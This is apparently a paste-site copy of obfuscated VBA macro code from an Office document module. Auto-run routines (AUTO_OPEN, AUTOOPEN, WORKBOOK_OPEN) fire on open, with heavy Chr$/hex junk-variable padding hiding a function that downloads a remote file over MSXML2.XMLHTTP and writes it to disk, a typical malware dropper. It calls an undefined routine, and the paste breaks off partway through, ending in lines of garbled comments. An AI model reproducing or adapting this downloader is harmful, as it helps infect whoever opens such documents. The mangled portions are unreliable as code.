Create a new version of paste:

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AUTO_OPEN()
Dim YLXDMOXL, KVOHXXBE, RRWLVPZF As String
Dim FUYCGSYQ, LZFKZICE, BCXDGZHM As String
FUYCGSYQ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
LZFKZICE = LTrim(FUYCGSYQ)
BCXDGZHM = RTrim(LZFKZICE)
 
YLXDMOXL = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
Dim JDXATPTY, LVPWFUGN, IFHVLLNO As String
JDXATPTY = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
LVPWFUGN = LTrim(JDXATPTY)
IFHVLLNO = RTrim(LVPWFUGN)
 
KVOHXXBE = LTrim(YLXDMOXL)
Dim YLMWCWWI, KBYVBOBL, ETLAACZR As String
YLMWCWWI = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
KBYVBOBL = LTrim(YLMWCWWI)
ETLAACZR = RTrim(KBYVBOBL)
 
RRWLVPZF = RTrim(KVOHXXBE)
 
Dim AHRJATUS, CJFEWORD, KJVGHFAF As String
AHRJATUS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
CJFEWORD = LTrim(AHRJATUS)
KJVGHFAF = RTrim(CJFEWORD)
 
ZFCAHVQGVAT
End Sub
Sub AUTOOPEN()
Dim NCHZDGGC, WVBFULSV, JBOBZVPB As String
Dim HMSVOHXW, WGMLWPDF, AQAFIYRT As String
HMSVOHXW = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
WGMLWPDF = LTrim(HMSVOHXW)
AQAFIYRT = RTrim(WGMLWPDF)
 
NCHZDGGC = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
Dim YBLYHNQT, WGBOWDCD, CNFEROTI As String
YBLYHNQT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
WGBOWDCD = LTrim(YBLYHNQT)
CNFEROTI = RTrim(WGBOWDCD)
 
WVBFULSV = LTrim(NCHZDGGC)
Dim PMZQICDL, IYYCYBKK, MSKNODXE As String
PMZQICDL = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
IYYCYBKK = LTrim(PMZQICDL)
MSKNODXE = RTrim(IYYCYBKK)
 
JBOBZVPB = RTrim(WVBFULSV)
 
Dim XWJJSDFN, JWAEYJQZ, DXQGAWOE As String
XWJJSDFN = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
JWAEYJQZ = LTrim(XWJJSDFN)
DXQGAWOE = RTrim(JWAEYJQZ)
 
    AUTO_OPEN
End Sub
Sub WORKBOOK_OPEN()
Dim TFBNAQRS, POIWGYWE, GTGHZADW As String
Dim NHIQDZPY, TQJYNXZV, PYVADKLH As String
NHIQDZPY = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(67) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
TQJYNXZV = LTrim(NHIQDZPY)
PYVADKLH = RTrim(TQJYNXZV)
 
TFBNAQRS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
Dim YBLPZXTB, IQURQLGL, CADUJYNA As String
YBLPZXTB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
IQURQLGL = LTrim(YBLPZXTB)
CADUJYNA = RTrim(IQURQLGL)
 
POIWGYWE = LTrim(TFBNAQRS)
Dim NARYZEDC, DUHORHHI, QJLWZKWY As String
NARYZEDC = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
DUHORHHI = LTrim(NARYZEDC)
QJLWZKWY = RTrim(DUHORHHI)
 
GTGHZADW = RTrim(POIWGYWE)
 
Dim DWLYZJAR, OWEKWXVT, RXFRHNXU As String
DWLYZJAR = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
OWEKWXVT = LTrim(DWLYZJAR)
RXFRHNXU = RTrim(OWEKWXVT)
 
    AUTO_OPEN
End Sub
 
Function QYLWAYQRCZW(ByVal CMMSZREMUET As String, ByVal OSLEMFLVBSW As String) As Boolean
     Dim DODOKURQEXU As Object, HFNZGSPUYMR As Long, XKSLVMLFHXE As Long, FIXOKGJVEZV() As Byte
 
Dim IKNQAPOP, PZGTPILR, BLMPHLRS As String
Dim RLUMZSCW, OFFGGYFD, FOXPZZYT As String
RLUMZSCW = "           PGGZWV               "
OFFGGYFD = LTrim(RLUMZSCW)
FOXPZZYT = RTrim(OFFGGYFD)
 
IKNQAPOP = "           AZJGNW               "
Dim NILPVHVV, GVVFRAPY, KODUFBLN As String
NILPVHVV = "           EDOLXT               "
GVVFRAPY = LTrim(NILPVHVV)
KODUFBLN = RTrim(GVVFRAPY)
 
PZGTPILR = LTrim(IKNQAPOP)
Dim QGYBNVIG, XMKZASQN, ONRTRBGQ As String
QGYBNVIG = "           QEWJEM               "
XMKZASQN = LTrim(QGYBNVIG)
ONRTRBGQ = RTrim(XMKZASQN)
 
BLMPHLRS = RTrim(PZGTPILR)
 
Dim DCYPBVUO, IVHXLERP, RBNIFIZQ As String
DCYPBVUO = "           DNKCJL               "
IVHXLERP = LTrim(DCYPBVUO)
RBNIFIZQ = RTrim(IVHXLERP)
 
    Set DODOKURQEXU = CreateObject("MSXML2.XMLHTTP")
    DODOKURQEXU.Open "GET", CMMSZREMUET, False
Dim GJZJVEBN, DZYRXTTB, BIKUCKIO As String
Dim AGTPAUGO, TQDTFAUA, VNEHTIXR As String
AGTPAUGO = "           GVYLXG               "
TQDTFAUA = LTrim(AGTPAUGO)
VNEHTIXR = RTrim(TQDTFAUA)
 
GJZJVEBN = "           LUZKDE               "
Dim LRYLSHDH, ULSXKABV, OTNHAVIL As String
LRYLSHDH = "           SVECHK               "
ULSXKABV = LTrim(LRYLSHDH)
OTNHAVIL = RTrim(ULSXKABV)
 
DZYRXTTB = LTrim(GJZJVEBN)
Dim SGBURCNH, PBEMZBTG, WTGCRDON As String
SGBURCNH = "           RYANHA               "
PBEMZBTG = LTrim(SGBURCNH)
WTGCRDON = RTrim(PBEMZBTG)
 
BIKUCKIO = RTrim(DZYRXTTB)
 
Dim XLCRHUHQ, LMUHPQFS, FMJZTHQD As String
XLCRHUHQ = "           KQNMBP               "
LMUHPQFS = LTrim(XLCRHUHQ)
FMJZTHQD = RTrim(LMUHPQFS)
 
    DODOKURQEXU.SEND "pHOblk"
 
 
Dim AGAOXNZR, CHQMJRNT, KJWUQOXY As String
Dim CPGXWPLF, ZTCJORPY, UARSWBZC As String
CPGXWPLF = "           DXVVLH               "
ZTCJORPY = LTrim(CPGXWPLF)
UARSWBZC = RTrim(ZTCJORPY)
 
AGAOXNZR = "           NVQAAN               "
Dim KOPEJCZO, MLBCNMSZ, OPRNTYCQ As String
KOPEJCZO = "           YVXCUZ               "
MLBCNMSZ = LTrim(KOPEJCZO)
OPRNTYCQ = RTrim(MLBCNMSZ)
 
CHQMJRNT = LTrim(AGAOXNZR)
Dim SFTSRTEO, CLJHULYL, WRMZTWSL As String
SFTSRTEO = "           RKHGER               "
CLJHULYL = LTrim(SFTSRTEO)
WRMZTWSL = RTrim(CLJHULYL)
 
KJWUQOXY = RTrim(CHQMJRNT)
 
Dim GFXYTXLQ, QFYKBNJS, YGHRMTGD As String
GFXYTXLQ = "           FWDWMK               "
QFYKBNJS = LTrim(GFXYTXLQ)
YGHRMTGD = RTrim(QFYKBNJS)
 
    FIXOKGJVEZV = DODOKURQEXU.RESPONSEBODY
 
Dim PIDZIJXY, HEMXMSFV, MBZJUUYH As String
Dim WMLYBLZE, NHAZSFMM, TQIXNOQS As String
WMLYBLZE = "           KEWOLG               "
NHAZSFMM = LTrim(WMLYBLZE)
TQIXNOQS = RTrim(NHAZSFMM)
 
PIDZIJXY = "           NPKLPA               "
Dim DPKWKTHH, HWYHAZVP, RSSLUFPK As String
DPKWKTHH = "           HVDUWY               "
HWYHAZVP = LTrim(DPKWKTHH)
RSSLUFPK = RTrim(HWYHAZVP)
 
HEMXMSFV = LTrim(PIDZIJXY)
Dim YMQPPDZH, KNCDDATA, RUPHFHIQ As String
YMQPPDZH = "           AXUAYX               "
KNCDDATA = LTrim(YMQPPDZH)
RUPHFHIQ = RTrim(KNCDDATA)
 
MBZJUUYH = RTrim(HEMXMSFV)
 
Dim ERNJLQWV, BTPZSGKN, MYLFUMGA As String
ERNJLQWV = "           IHZDAS               "
BTPZSGKN = LTrim(ERNJLQWV)
MYLFUMGA = RTrim(BTPZSGKN)
 
    XKSLVMLFHXE = FreeFile
    Open OSLEMFLVBSW For Binary As #XKSLVMLFHXE
Dim IGPBFMOH, QNBLVKLQ, BHRXEERL As String
Dim KGEJRIYB, PYLZMGWE, HAZCIPDW As String
KGEJRIYB = "           PQTXCG               "
PYLZMGWE = LTrim(KGEJRIYB)
HAZCIPDW = RTrim(PYLZMGWE)
 
IGPBFMOH = "           FFXWYF               "
Dim UMQVQLWO, PTBKMJTE, VWTXBZJS As String
UMQVQLWO = "           DECWKD               "
PTBKMJTE = LTrim(UMQVQLWO)
VWTXBZJS = RTrim(PTBKMJTE)
 
QNBLVKLQ = LTrim(IGPBFMOH)
Dim IOPGGMUZ, LGXKHIQD, YWIWKWFC As String
IOPGGMUZ = "           OFCSPK               "
LGXKHIQD = LTrim(IOPGGMUZ)
YWIWKWFC = RTrim(LGXKHIQD)
 
BHRXEERL = RTrim(QNBLVKLQ)
 
Dim FCRVYPBR, OCFPAFXT, RVBWWLMY As String
FCRVYPBR = "           DNJRIS               "
OCFPAFXT = LTrim(FCRVYPBR)
RVBWWLMY = RTrim(OCFPAFXT)
 
    Put #XKSLVMLFHXE, , FIXOKGJVEZV
Dim ZHWMGAHF, FXIVHGMV, SYPPFJBC As String
Dim ILJFYMKR, FFVOLHOX, URGMPXVB As String
ILJFYMKR = "           YNVMVO               "
FFVOLHOX = LTrim(ILJFYMKR)
URGMPXVB = RTrim(FFVOLHOX)
 
ZHWMGAHF = "           SYVUWG               "
Dim BJBHOTLD, FUTLGJTW, HKMFVFGH As String
BJBHOTLD = "           GRDOGN               "
FUTLGJTW = LTrim(BJBHOTLD)
HKMFVFGH = RTrim(FUTLGJTW)
 
FXIVHGMV = LTrim(ZHWMGAHF)
Dim HSNVMGSJ, FCRQKJKG, NEHFLTWN As String
HSNVMGSJ = "           LJAWQC               "
FCRQKJKG = LTrim(HSNVMGSJ)
NEHFLTWN = RTrim(FCRQKJKG)
 
SYPPFJBC = RTrim(FXIVHGMV)
 
Dim STCCLGPZ, ITUOFLUE, GQITRSUL As String
STCCLGPZ = "           TYOIDI               "
ITUOFLUE = LTrim(STCCLGPZ)
GQITRSUL = RTrim(ITUOFLUE)
 
    Close #XKSLVMLFHXE
Dim HELJAYVX, SEZEWQWC, URSGHGLV As String
Dim OLFNDZRS, DFWMNVWE, LPEGDLSW As String
OLFNDZRS = "           SELKNU               "
DFWMNVWE = LTrim(OLFNDZRS)
LPEGDLSW = RTrim(DFWMNVWE)
 
HELJAYVX = "           ZZQNKC               "
Dim SHHTIAXP, GZRBKVTE, EKOECPJS As String
SHHTIAXP = "           HGSQHR               "
GZRBKVTE = LTrim(SHHTIAXP)
EKOECPJS = RTrim(GZRBKVTE)
 
SEZEWQWC = LTrim(HELJAYVX)
Dim LJLUMFJU, KZXLKHXT, EIIXMRNH As String
LJLUMFJU = "           IMCDQO               "
KZXLKHXT = LTrim(LJLUMFJU)
EIIXMRNH = RTrim(KZXLKHXT)
 
URSGHGLV = RTrim(SEZEWQWC)
 
Dim JRGREVMD, STBHVZKG, ITOALUGH As String
JRGREVMD = "           GHPUUL               "
STBHVZKG = LTrim(JRGREVMD)
ITOALUGH = RTrim(STBHVZKG)
 
     
    Dim TKFRNZTFHUK
Dim FQGMSOEQ, LYXGBRWZ, SXDNHQPT As String
Dim TOLEVTSP, VNOFHSZD, RWJOZILT As String
TOLEVTSP = "           RISGIA               "
VNOFHSZD = LTrim(TOLEVTSP)
RWJOZILT = RTrim(VNOFHSZD)
 
FQGMSOEQ = "           XXCCAE               "
Dim PEQWYEDT, SFBGGBXB, ARTLWSIU As String
PEQWYEDT = "           ZIPLZR               "
SFBGGBXB = LTrim(PEQWYEDT)
ARTLWSIU = RTrim(SFBGGBXB)
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
LYXGBRWZ = LTrim(FQGMSOEQ)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim BIMWGXDB, SFUVJPJP, PVPPGSXP As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
BIMWGXDB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
SFUVJPJP = LTrim(BIMWGXDB)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
PVPPGSXP = RTrim(SFUVJPJP)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
SXDNHQPT = RTrim(LYXGBRWZ)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim MPNFUCHF, GQPBZZFH, PSLQWYQJ As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
